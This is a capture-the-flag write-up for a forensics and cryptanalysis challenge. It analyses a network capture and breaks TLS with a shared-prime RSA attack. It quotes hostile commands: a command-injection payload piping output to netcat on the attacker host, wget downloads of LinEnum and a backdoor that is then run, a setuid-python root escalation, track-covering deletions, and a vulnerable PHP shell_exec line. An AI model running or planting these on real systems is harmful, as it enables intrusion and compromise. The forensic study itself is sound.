## Santhacklaus 2019 - Revmomon [EN]

This was a 500 points forensics and cryptanalysis challenge at Santhacklaus 2019 CTF. It’s description was as follows :

Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
MD5 of the file : c93adc996da5dda82312e43e9a91d053


Downloading and unziping the given file, we end up with a file called challenge.pcapng , surely a network capture.

As the description says, our goal is to find a malware, probably an elf or some type of executable, and the flag with be its sha256sum.

# Getting an overview of the capture

Loading the pcap in our beloved Wireshark, we can see that there are 185701 sniffed packets. The first ~172000 looks like this :

This is clearly a TCP SYN scan. We can deduce that 171.17.0.1 is the attacker here, and 171.17.0.5 the victim.

Scrolling down, 16s after the start of the capture, we come accross a lot of HTTP traffic, from 171.17.0.5 , our victim, to various public HTTP servers.

~51s after the start, begins another heap of HTTP exchanges, but this time between our two LAN hosts, our attacker and ou victim.

By looking at the HTTP verbs and the requests path, we can conclude that the attacker is bruteforcing the victim to find hidden web files.

After a while, the scan ends, and we see several POST requests on /index.php of the victim’s webserver.

The first one look like this :

We can see that index.php is in fact a simple ping service; you give it an IP address through the cli_ip POST parameter and it will ping it for you, telling you if the host is up or not.

We can actually see the victim making ICMP requests to the given ip address right after the POST request:

The next POST request is also on index.php , and got the following parameter:

Attacker is trying to inject a command into the simple ping service. It is a common vulnerability, if index.php is calling directly the ping command trough bash with the raw cli_ip parameter, then it would be possible to inject bash commands, with a payload like the attacker’s one. Such a flaw would exist in the following PHP code, for example :

$output = shell_exec("ping " .$_POST['cli_ip']);


Thus the semicolon would stop the ping command, and then id | nc 172.17.0.1 12345 would be executed. Right after this request, we can spot the following TCP exchange from the victim to the host:

The simple ping service is vulnerable!

Next POST request is exploiting this command injection by downloading a script from the attacker’s machine and executing it :

As this is done through HTTPS, we can’t see what’s happening after this because everything is encrypted. In fact, all the remaining exchanges after this command are TLS traffic.

# Breaking TLS

As this is a forensics and cryptanalysis challenge, we probably have to decrypt all this TLS traffic. Let’s first check the ciphersuite used in this exchange. This information is accessible in the Server Hello message.

As the ciphersuite indicates, the asymmetric part of the TLS exchange is done with RSA. In the same packet, we can also find the certificate of the server.

Wireshark allows us to dump it to the disk, by right-clicking on it and Export Packets Bytes. It gives us the server certificate in DER format. We can use the following openssl commands to convert it to PEM, and to extract its corresponding RSA public key:

$openssl x509 -inform der -outform pem -in server_certificate.der -out server_certificate.pem$ cat server_certificate.pem
-----BEGIN CERTIFICATE-----
MIIDmTCCAoGgAwIBAgIUY9GTEMNo4F1jMpq6xFH0kU802hEwDQYJKoZIhvcNAQEL
BQAwXDELMAkGA1UEBhMCRlIxDzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFy
aXMxFzAVBgNVBAoMDlByaW1lIE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRX
MB4XDTE5MTAyOTIwMTgwMVoXDTI4MDExNTIwMTgwMVowXDELMAkGA1UEBhMCRlIx
DzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFyaXMxFzAVBgNVBAoMDlByaW1l
IE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRXMIIBIjANBgkqhkiG9w0BAQEF
6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N4vWEgsA8S5F3CQZtbKr2ILrC
X8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95ZhZDpwzRgj0DIJRBaKJ9ROdKe
o8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaRR5FINQZtNmDkwzehDYD+elZ9
zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSoheWGiy+Ok4B0QcBCELhVs5RpSj
FgQUdi3P3w9KyJnF72f8DbB6rY3VnBcwHwYDVR0jBBgwFoAUdi3P3w9KyJnF72f8
DbB6rY3VnBcwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAAbmu
5yPDsZWmO93Na8URsjgymEZ7Ix80E7SF2RvhvBqRI7wiJxG5bG/39FzmQohyS47t
G90A54mJQNYQ3oK8SY2y/BGzB39ckJwFrmUetCeVI+8eRXpnMgU53nHuxqW5eTKA
GyfPuFVEJUzKgnJkT8bkc215iV4001HXqlNxhiMK3suuHAPOqxPfOZFCCzNJVR98
U1ue8PYsB7cT0HLUIgC+83fuLKumFhTk/Z/dbCxhNXn/COmdKl/VcHykre1zKhLi
tlnXbAuRM1f7NZw1KQ==
-----END CERTIFICATE-----
$openssl x509 -pubkey -in server_certificate.pem -noout -out server_public_key.pem$ cat server_public_key.pem
-----BEGIN PUBLIC KEY-----
nU8I84OU7NCR3KD4pTCsktys6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N
4vWEgsA8S5F3CQZtbKr2ILrCX8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95Z
hZDpwzRgj0DIJRBaKJ9ROdKeo8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaR
R5FINQZtNmDkwzehDYD+elZ9zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSohe
WGiy+Ok4B0QcBCELhVs5RpSjp6C/0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgY
FQIDAQAB
-----END PUBLIC KEY-----


Then my first reflex is always to fire up RsaCtfTool on the public key, to check if it suffers from common weaknesses. It appears it doesnt. Coming back to Wireshark, we can notice that other TLS handshakes were performed after the first one.

Looking at the certificate of the third one : it is not the same as the one we dumped out, eventhough the server is still the attacker, and the client is still the victim. Weird, does’nt it ?

Looking more closely, it’s because the connection is made on the port 8443 instead of 443 for the first one. We can also dump this certificate to disk, and extract its public key.

Then , using RsaCtfTool, we can extract the low-level RSA components of those public keys. We get for the first one $$e1=65537,n1=29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613$$

The second one is $$e2=65537,n2=30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689$$

There are not a lot of RSA attacks involving 2 public keys. The first that come to mind is the common prime one.

As $$n_1 = p_1 \times q_1$$ and $$n_2 = p_2 \times q_2$$, if $$n_1$$ and $$n_2$$ shares a common prime, ie $$p1=p2$$, the security is ruined because now we can compute $$p_1 = p_2 = gcd(n_1,n_2)$$ and $$q_1 = \frac{n_1}{p_1}, q_2 = \frac{n_2}{p_2}$$.

To check if this attack is applicable here, we can simply compute $$gcd(n_1,n_2)$$. If it returns $$1$$, $$n_1$$ and $$n_2$$ don’t share common prime, else it’s GG WP.

>>> from gmpy import gcd
>>> n1 = 30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689
>>> n2 = 29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613
>>> gcd(n1, n2)
mpz(172067233411000174123288570320072141984329277731567787049992455089748125896067043634268223276124200546620464642208269498585977273172872453697611433904621370678490295872941062747046839302970872936949583606000707115626511913565629330486713525750799307850325576945065814233311827585627901219469077071493371983507)


Well, it’s over. We can reconstruct the two private keys by feeding our p and qs to RsaCtfTool.

To decrypt the TLS traffic, we now need to load those private keys into Wireshark, by going to Edit, Preferences, Procotols, then TLS, and finally Rsa key List Edit. On this interface, we have to give wireshark a few informations :

# Understanding the attacker’s path

Now by coming back to our TLS traffic, we can see what’s going on. Here is the content of the payload executed by the victim:

It executes a TLS-encrypted reverse shell on the port 8443 of the attacker.

Now let’s see what the attacker have been doing with this shell. Even if we assumed it was HTTP traffic in the options, we can right click and follow the TLS stream.

The first part of the stream is the following :

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@d58feef475e4:/var/www/html$www-data@d58feef475e4:/var/www/html$

www-data@d58feef475e4:/var/www/html$cd /tmp cd /tmp www-data@d58feef475e4:/tmp$ ls
ls
s
www-data@d58feef475e4:/tmp$wget --no-check-certificate https://172.17.0.3/LinEnum.sh <-no-check-certificate https://172.17.0.3/LinEnum.sh --2019-11-20 21:57:54-- https://172.17.0.3/LinEnum.sh Connecting to 172.17.0.3:443... failed: Connection refused. www-data@d58feef475e4:/tmp$ wget --no-check-certificate https://172.17.0.1/LinEnum.sh

<-no-check-certificate https://172.17.0.1/LinEnum.sh
--2019-11-20 21:58:02--  https://172.17.0.1/LinEnum.sh
Connecting to 172.17.0.1:443... connected.
WARNING: The certificate of '172.17.0.1' is not trusted.
WARNING: The certificate of '172.17.0.1' doesn't have a known issuer.
The certificate's owner does not match hostname '172.17.0.1'
HTTP request sent, awaiting response... 200 OK
Length: 46120 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh            0%[                    ]       0  --.-KB/s
LinEnum.sh          100%[===================>]  45.04K  --.-KB/s    in 0s

2019-11-20 21:58:02 (105 MB/s) - 'LinEnum.sh' saved [46120/46120]

www-data@d58feef475e4:/tmp$chmod +x LinEnum.sh chmod +x LinEnum.sh www-data@d58feef475e4:/tmp$ ./LinEnum.sh -t -e /tmp -r report


then we get the report of LinEnum.sh , which gives a tons of informations about the victim’s system.

The second part :

www-data@d58feef475e4:/tmp$/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' # id id uid=0(root) gid=33(www-data) groups=33(www-data) # cd /root cd /root # ls ls flag # ls -la ls -la total 20 drwx------ 1 root root 4096 Nov 20 21:37 . drwxr-xr-x 1 root root 4096 Nov 20 21:51 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -r-------- 1 root root 28 Nov 20 21:36 flag # wc -c flag wc -c flag 28 flag # stat flag stat flag File: flag Size: 28 Blocks: 8 IO Block: 4096 regular file Device: 78h/120d Inode: 6206622 Links: 1 Access: (0400/-r--------) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2019-11-20 21:36:58.000000000 +0000 Modify: 2019-11-20 21:36:58.000000000 +0000 Change: 2019-11-20 21:38:07.737200347 +0000 Birth: - # echo -n 'Il y a le flag dans le /root' echo -n 'Il y a le flag dans le /root' Il y a le flag dans le /root# # # cd /usr/local/bin cd /usr/local/bin # pwd pwd /usr/local/bin # s s ls ls apache2-foreground docker-php-ext-install peardev php docker-php-entrypoint docker-php-source pecl php-config docker-php-ext-configure freetype-config phar phpdbg docker-php-ext-enable pear phar.phar phpize # wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak --2019-11-20 22:03:12-- https://172.17.0.1/DRUNK_IKEBANA Connecting to 172.17.0.1:443... connected. WARNING: The certificate of '172.17.0.1' is not trusted. WARNING: The certificate of '172.17.0.1' doesn't have a known issuer. The certificate's owner does not match hostname '172.17.0.1' HTTP request sent, awaiting response... 200 OK Length: 7634240 (7.3M) [application/octet-stream] Saving to: 'phar.bak' phar.bak 0%[ ] 0 --.-KB/s phar.bak 100%[===================>] 7.28M --.-KB/s in 0.05s 2019-11-20 22:03:12 (146 MB/s) - 'phar.bak' saved [7634240/7634240] # ls ls apache2-foreground docker-php-ext-install peardev phar.phar phpize docker-php-entrypoint docker-php-source pecl php docker-php-ext-configure freetype-config phar php-config docker-php-ext-enable pear phar.bak phpdbg # ls -la ls -la total 35168 drwxr-xr-x 1 root root 4096 Nov 20 22:03 . drwxr-xr-x 1 root root 4096 Oct 25 02:29 .. -rwxrwxr-x 1 root root 1346 Oct 25 02:26 apache2-foreground -rwxrwxr-x 1 root root 133 Oct 25 02:26 docker-php-entrypoint -rwxrwxr-x 1 root root 1418 Oct 25 02:26 docker-php-ext-configure -rwxrwxr-x 1 root root 2571 Oct 25 02:26 docker-php-ext-enable -rwxrwxr-x 1 root root 2392 Oct 25 02:26 docker-php-ext-install -rwxrwxr-x 1 root root 587 Oct 25 02:26 docker-php-source -rwxr-xr-x 1 root root 41 Oct 25 02:29 freetype-config -rwxr-xr-x 1 root root 817 Oct 25 02:29 pear -rwxr-xr-x 1 root root 838 Oct 25 02:29 peardev -rwxr-xr-x 1 root root 751 Oct 25 02:29 pecl lrwxrwxrwx 1 root root 9 Oct 25 02:29 phar -> phar.phar -rw-r--r-- 1 root www-data 7634240 Nov 20 22:02 phar.bak -rwxr-xr-x 1 root root 14817 Oct 25 02:29 phar.phar -rwxr-xr-x 1 root root 14077688 Oct 25 02:29 php -rwxr-xr-x 1 root root 2793 Oct 25 02:29 php-config -rwxr-xr-x 1 root root 14213184 Oct 25 02:29 phpdbg -rwxr-xr-x 1 root root 4559 Oct 25 02:29 phpize # chmod +x phar.bak chmod +x phar.bak # ls -la ls -la total 35168 drwxr-xr-x 1 root root 4096 Nov 20 22:03 . drwxr-xr-x 1 root root 4096 Oct 25 02:29 .. -rwxrwxr-x 1 root root 1346 Oct 25 02:26 apache2-foreground -rwxrwxr-x 1 root root 133 Oct 25 02:26 docker-php-entrypoint -rwxrwxr-x 1 root root 1418 Oct 25 02:26 docker-php-ext-configure -rwxrwxr-x 1 root root 2571 Oct 25 02:26 docker-php-ext-enable -rwxrwxr-x 1 root root 2392 Oct 25 02:26 docker-php-ext-install -rwxrwxr-x 1 root root 587 Oct 25 02:26 docker-php-source -rwxr-xr-x 1 root root 41 Oct 25 02:29 freetype-config -rwxr-xr-x 1 root root 817 Oct 25 02:29 pear -rwxr-xr-x 1 root root 838 Oct 25 02:29 peardev -rwxr-xr-x 1 root root 751 Oct 25 02:29 pecl lrwxrwxrwx 1 root root 9 Oct 25 02:29 phar -> phar.phar -rwxr-xr-x 1 root www-data 7634240 Nov 20 22:02 phar.bak -rwxr-xr-x 1 root root 14817 Oct 25 02:29 phar.phar -rwxr-xr-x 1 root root 14077688 Oct 25 02:29 php -rwxr-xr-x 1 root root 2793 Oct 25 02:29 php-config -rwxr-xr-x 1 root root 14213184 Oct 25 02:29 phpdbg -rwxr-xr-x 1 root root 4559 Oct 25 02:29 phpize # ./phar.bak & ./phar.bak & # cd /tmp cd /tmp # ls ls LinEnum-export-20-11-19 LinEnum.sh report-20-11-19 s # rm Lin* rm Lin* rm: cannot remove 'LinEnum-export-20-11-19': Is a directory # ls ls LinEnum-export-20-11-19 report-20-11-19 s # rm -rf Lin* rm -rf Lin* # ls ls report-20-11-19 s # rm repo* rm repo* # cd /dev/shm cd /dev/shm # ls ls cert.pem # cd /root cd /root # ls -la ls -la total 20 drwx------ 1 root root 4096 Nov 20 21:37 . drwxr-xr-x 1 root root 4096 Nov 20 21:51 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -r-------- 1 root root 28 Nov 20 21:36 flag # exit exit www-data@d58feef475e4:/tmp$ exit


So the attacker got root because somehow the python2.7 interpreter was setuid. Then we can see he downloaded a file called DRUNK_IKEBANA from his machine, put it in some apache2 directory, and executed it. This really looks like our malicious backdoor, because right after he try to cover a bit of his tracks and exit.

We can actually extract the downloaded file from the stream from Wireshark using the file menu, then Export Objects. Now we need to find an object called DRUNK_IKEBANA, and dump it to disk.

Let’s get it’s sha256sum :

\$ sha256sum DRUNK_IKEBANA
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830  DRUNK_IKEBANA


So the flag should be SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}, and it is!

Thanks to Maki for setting up this cool challenge :D